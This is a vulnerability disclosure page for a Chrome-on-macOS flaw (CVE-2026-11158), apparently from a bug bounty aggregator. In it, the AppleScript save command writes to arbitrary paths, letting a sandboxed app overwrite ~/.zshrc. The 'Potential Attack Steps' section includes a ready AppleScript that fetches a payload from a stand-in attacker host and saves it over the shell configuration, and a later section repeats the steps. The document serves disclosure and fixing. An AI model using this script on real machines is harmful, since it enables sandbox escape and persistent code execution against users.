Insufficient validation of untrusted input in Downloads (CVE-2026-11158)
Chrome's AppleScript save command accepted an arbitrary file path without validation, letting a sandboxed macOS app write files to sensitive locations such as the user's shell configuration. This could allow a sandbox escape and persistent code execution when the user next opens a terminal.
Google Chrome
Originally disclosed on Chrome VRP
- Fix shipped in 52 days
Project Fortify, an experimental security project, has identified the following potential security issue. If you're a feature owner CC-ed on this bug, please do your best to review these reports without the Chrome Security team.
Overview: The AppleScript save command allows writing files to arbitrary paths without validation. A malicious sandboxed macOS app with the scripting-targets entitlement can use Chrome as a confused deputy to write to sensitive locations like ~/.zshrc, achieving a sandbox escape and RCE.
Affected files:
chrome/browser/ui/cocoa/applescript/tab_applescript.mmchrome/browser/ui/cocoa/applescript/scripting.sdefcontent/browser/download/save_package.ccbase/apple/foundation_util.mm
Estimated timestamp from git blame: 2024-12-19
Summary
Chrome for macOS exposes the save command via AppleScript (scripting.sdef). This command accepts an attacker-controlled absolute file path and passes it to the programmatic WebContents::SavePage API without performing any directory validation or user confirmation.
Because the save command is defined within a wildcard access group (<access-group identifier="*"/>), a sandboxed macOS application (such as one from the Mac App Store) can invoke this command silently—bypassing the standard Transparency, Consent, and Control (TCC) automation prompt—if it possesses the com.apple.security.scripting-targets entitlement for Chrome.
By directing Chrome to save a malicious payload (e.g., a .zshrc shell configuration file) to a sensitive location, a sandboxed attacker can escape the App Sandbox and achieve persistent Remote Code Execution (RCE) with the user's full privileges.
Vulnerability Details
- Permissive AppleScript Access: In
chrome/browser/ui/cocoa/applescript/scripting.sdef, thesavecommand is exposed with<access-group identifier="*"/>. This configuration allows sandboxed macOS applications with thecom.apple.security.scripting-targetsentitlement targeting Chrome to execute the command without triggering a user-facing TCC prompt. - Lack of Path Validation: When the AppleScript
savecommand is processed,TabAppleScript::handlesSaveScriptCommand:(chrome/browser/ui/cocoa/applescript/tab_applescript.mm) extracts the targetNSURLfrom the command's arguments. It converts this to abase::FilePathand passes it directly to_webContents->SavePage(mainFile, directoryPath, savePageType). No checks are performed to ensure the path is within the Downloads folder or a safe location. - Bypass of Safe File Generation:
WebContentsImpl::SavePageuses a specific programmatic constructor forSavePackage(SavePackage::SavePackage(PageImpl& page, SavePageType save_type, const base::FilePath& file_full_path, ...)). This constructor directly assigns the attacker's path tosaved_main_file_path_, entirely bypassing theSavePackage::OnPathPickedflow.OnPathPickedis wherenet::GenerateSafeFileNameis typically invoked during UI-initiated saves to sanitize filenames and force safe extensions. - Raw File Write: If the AppleScript specifies
as "only html", the type maps tocontent::SAVE_PAGE_TYPE_AS_ONLY_HTML.SavePackagethen fetches the URL usingSimpleURLLoaderand writes the raw response bit-for-bit to a temporary file, which is eventually moved to the attacker's specified path viabase::Move(components/download/internal/common/base_file.cc). - Sandbox Escape and Execution: Because the file write is executed by the privileged Chrome Browser process (which is not restricted by the macOS App Sandbox), the write to locations like
~/.zshrcsucceeds. While Chrome applies thecom.apple.quarantineextended attribute to the saved file, this does not prevent execution when targeting shell configuration files. When the user opens a Terminal,zshsources~/.zshrcusing standard POSIX read operations that do not trigger Gatekeeper's quarantine checks.
Potential Attack Steps
(Note: These are suggested steps for exploitation; our tooling has not executed a working proof of concept.)
-
An attacker creates a malicious macOS application and publishes it to the Mac App Store (or signs it normally). The app includes the macOS App Sandbox entitlement and the
com.apple.security.scripting-targetsentitlement targetingcom.google.Chrome. -
The attacker hosts a malicious
.zshrcpayload at a server they control (e.g.,http://attacker.example/payload). -
The sandboxed application silently executes the following AppleScript:
APPLESCRIPT tell application "Google Chrome" set t to (make new tab at end of tabs of window 1 with properties {URL:"http://attacker.example/payload"}) -- Wait for the payload to load save t in (POSIX file "/Users/[username]/.zshrc") as "only html" end tell -
Chrome fetches the payload and writes it to
~/.zshrc, overwriting any existing file without prompting the user. -
The next time the user opens Terminal.app,
zshsources the malicious configuration file, granting the attacker persistent RCE outside the sandbox.
Suggested Fix
- Validate AppleScript Paths:
TabAppleScript::handlesSaveScriptCommand:should validate that the provided file path is within a directory where the user expects files to be saved programmatically (e.g., the default Downloads directory), or it should fall back to prompting the user viaOnSavePage()if a specific path is provided. Alternatively, ensure the provided path is passed throughnet::GenerateSafeFileName. - Review Access Groups: Consider whether powerful commands like
saveshould be included in the wildcard<access-group identifier="*"/>inscripting.sdef, as this bypasses TCC automation prompts.
Evaluated with Chrome root at commit: 096fc8fdbfacf2546485756d03f160a3d04fcc9b
Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The AppleScript save command passed an attacker-controlled path straight to the page-saving code without checking the directory or asking the user, skipping the normal safe-filename step.
Impact
A sandboxed app could escape the App Sandbox and gain persistent code execution with the user's privileges; the quarantine attribute does not stop this for shell configuration files.
What the attacker needed
MacOS with Chrome; sandboxed app with scripting-targets entitlement; user opens a terminal after the write
The fix
The save command should validate that the path is in a safe directory such as Downloads, or prompt the user, and the wildcard access group should be reviewed.
How it was found
- Create a sandboxed macOS app with the scripting-targets entitlement for Chrome.
- Host a malicious shell configuration file on a server.
- Use AppleScript to open the payload in a new tab and save it to the user's home directory as only HTML.
- Chrome writes the payload over the existing shell configuration file without prompting.
- The next time the user opens Terminal, the shell runs the malicious configuration.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A sandboxed app is meant to be locked away from the rest of your computer. Here, a small app could ask Chrome to save a file anywhere it liked, including a startup file that runs commands when you open a terminal. That let the app break out of its sandbox and run code as you.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.